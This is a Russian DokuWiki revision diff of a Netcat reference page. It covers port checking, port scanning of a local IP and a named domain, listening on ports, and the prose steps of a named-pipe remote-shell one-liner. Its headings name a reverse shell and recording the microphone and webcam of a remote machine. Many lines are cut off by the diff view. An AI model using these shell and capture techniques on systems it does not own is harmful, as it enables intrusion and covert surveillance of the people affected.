Различия
Показаны различия между двумя версиями страницы.
Предыдущая версия справа и слева Предыдущая версия Следующая версия | Предыдущая версия | ||
networks:nc [2024/04/10 21:53] – mirocow | networks:nc [2024/04/11 19:23] (текущий) – mirocow | ||
---|---|---|---|
Строка 1: | Строка 1: | ||
- | {{tag> | + | {{tag> |
{{tag> | {{tag> | ||
Строка 5: | Строка 5: | ||
====== Netcat ====== | ====== Netcat ====== | ||
- | Netcat - это сетевой инструмент. | + | Netcat - это сетевой инструмент, её основная задача – проверка портов. |
<code bash> | <code bash> | ||
Строка 39: | Строка 39: | ||
<code bash> | <code bash> | ||
- | nc -nlv 8080 > / | + | $ nc -nlv 8080 > / |
- | echo -n "GET / HTTP/ | + | $ echo -n "GET / HTTP/ |
- | cat / | + | $ cat / |
</ | </ | ||
- | ===== Сканировать | + | ===== Получать |
<code bash> | <code bash> | ||
- | $ nc -vz 192.168.1.132 1-1000 2>&1 | grep succeeded --color | + | $ nc -lp 8080 > /tmp/log.txt & |
- | $ nc -vzu 192.168.1.132 1-1000 2>&1 | grep succeeded --color | + | $ nc 0.0.0.0 8080 |
+ | $ cat / | ||
</ | </ | ||
Строка 70: | Строка 71: | ||
===== Использовать вместо telnet ===== | ===== Использовать вместо telnet ===== | ||
+ | |||
(первая - telnet-сервер, | (первая - telnet-сервер, | ||
Строка 80: | Строка 82: | ||
<code bash> | <code bash> | ||
- | | + | $ nc -z execbit.ru 1-1024 |
+ | $ nc -vz 192.168.1.132 1-1000 2>&1 | grep succeeded --color | ||
+ | $ nc -vzu 192.168.1.132 1-1000 2>&1 | grep succeeded --color | ||
+ | </ | ||
+ | |||
+ | ===== Создавать удалённую оболочку ===== | ||
+ | |||
+ | Сначала удалим старый именованный канал (rm /tmp/f), на его месте создадим новый (mkfifo /tmp/f), прочитаем его содержимое (cat /tmp/f), а на его вывод отправим команду оболочки (sh -i 2>& | ||
+ | После этого останется запустить nc с выводом в наш именованный канал (nc 192.168.1.132 8080 >/ | ||
+ | |||
+ | <code bash> | ||
+ | $ nc -lvnp 8080 | ||
+ | $ rm / | ||
</ | </ | ||
Строка 90: | Строка 104: | ||
===== Организовывать обратный шелл ===== | ===== Организовывать обратный шелл ===== | ||
+ | |||
(первая - клиент, | (первая - клиент, | ||
Строка 98: | Строка 113: | ||
===== Делать микрофонную запись с удаленной машины ===== | ===== Делать микрофонную запись с удаленной машины ===== | ||
+ | |||
(сервер, | (сервер, | ||
Строка 106: | Строка 122: | ||
===== Получать снимки с web-камеры удаленной машины ===== | ===== Получать снимки с web-камеры удаленной машины ===== | ||
+ | |||
(сервер, | (сервер, | ||
Строка 157: | Строка 174: | ||
} | } | ||
</ | </ | ||
+ | |||
+ | ===== Сетевые утилиты ===== | ||
+ | |||
+ | |||
+ | {{topic> |